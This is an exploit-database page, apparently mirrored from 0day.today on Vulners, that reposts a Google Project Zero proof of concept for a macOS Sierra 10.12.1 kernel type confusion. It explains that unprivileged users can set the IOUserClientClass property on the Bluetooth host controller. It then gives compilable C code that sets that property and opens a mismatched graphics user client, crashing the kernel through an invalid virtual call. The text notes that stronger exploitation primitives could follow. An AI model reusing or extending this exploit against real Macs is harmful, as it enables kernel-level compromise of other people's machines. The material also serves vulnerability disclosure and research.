Lucene search
K

MacOS Kernel 10.12.1 - Writable Privileged IOKit Registry Properties Code Execution Exploit

🗓️ 23 Dec 2016 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 70 Views

MacOS Kernel 10.12.1 Writable Privileged IOKit Registry Properties Code Execution Exploi

Related
Code
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974
 
There are two ways for IOServices to define their IOUserClient classes: they can 
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
 
The default implementation of IOService::newUserClient does this:
 
  IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
                                    UInt32 type,  OSDictionary * properties,
                                    IOUserClient ** handler )
  {
      const OSSymbol *userClientClass = 0;
      IOUserClient *client;
      OSObject *temp;
       
      if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
          return kIOReturnSuccess;
       
      // First try my own properties for a user client class name
      temp = getProperty(gIOUserClientClassKey);
      if (temp) {
          if (OSDynamicCast(OSSymbol, temp))
              userClientClass = (const OSSymbol *) temp;
          else if (OSDynamicCast(OSString, temp)) {
              userClientClass = OSSymbol::withString((OSString *) temp);
              if (userClientClass)
                  setProperty(kIOUserClientClassKey,
                              (OSObject *) userClientClass);
          }
      }
       
      // Didn't find one so lets just bomb out now without further ado.
      if (!userClientClass)
          return kIOReturnUnsupported;
       
      // This reference is consumed by the IOServiceOpen call
      temp = OSMetaClass::allocClassWithName(userClientClass);
      if (!temp)
          return kIOReturnNoMemory;
       
      if (OSDynamicCast(IOUserClient, temp))
          client = (IOUserClient *) temp;
      else {
          temp->release();
          return kIOReturnUnsupported;
      }
       
      if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
 
  ... continue on and call client->start(this) to connect the client to the service
 
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
 
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
 
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
 
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
 
// ianbeer
// clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation
 
#if 0
MacOS kernel code execution due to writable privileged IOKit registry properties
 
There are two ways for IOServices to define their IOUserClient classes: they can 
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
 
The default implementation of IOService::newUserClient does this:
 
  IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
                                    UInt32 type,  OSDictionary * properties,
                                    IOUserClient ** handler )
  {
      const OSSymbol *userClientClass = 0;
      IOUserClient *client;
      OSObject *temp;
       
      if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
          return kIOReturnSuccess;
       
      // First try my own properties for a user client class name
      temp = getProperty(gIOUserClientClassKey);
      if (temp) {
          if (OSDynamicCast(OSSymbol, temp))
              userClientClass = (const OSSymbol *) temp;
          else if (OSDynamicCast(OSString, temp)) {
              userClientClass = OSSymbol::withString((OSString *) temp);
              if (userClientClass)
                  setProperty(kIOUserClientClassKey,
                              (OSObject *) userClientClass);
          }
      }
       
      // Didn't find one so lets just bomb out now without further ado.
      if (!userClientClass)
          return kIOReturnUnsupported;
       
      // This reference is consumed by the IOServiceOpen call
      temp = OSMetaClass::allocClassWithName(userClientClass);
      if (!temp)
          return kIOReturnNoMemory;
       
      if (OSDynamicCast(IOUserClient, temp))
          client = (IOUserClient *) temp;
      else {
          temp->release();
          return kIOReturnUnsupported;
      }
       
      if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
 
  ... continue on and call client->start(this) to connect the client to the service
 
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
 
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
 
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
 
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 
#endif
 
#include <stdio.h>
#include <stdlib.h>
 
#include <mach/mach.h>
 
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
 
int main(){
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController"));
 
  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 1;
  }
  printf("got service: %x\n", service);
 
    // try to set the prop: 
    kern_return_t err;
    err = IORegistryEntrySetCFProperty(
        service,
        CFSTR("IOUserClientClass"),
        CFSTR("IGAccelSharedUserClient"));
     
    if (err != KERN_SUCCESS){
        printf("setProperty failed\n");
    } else {
        printf("set the property!!\n");
  }
 
  // open a userclient:
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 1;
  }
 
  printf("got userclient connection: %x\n", conn);
   
  return 0;
}

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Dec 2016 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.0142
70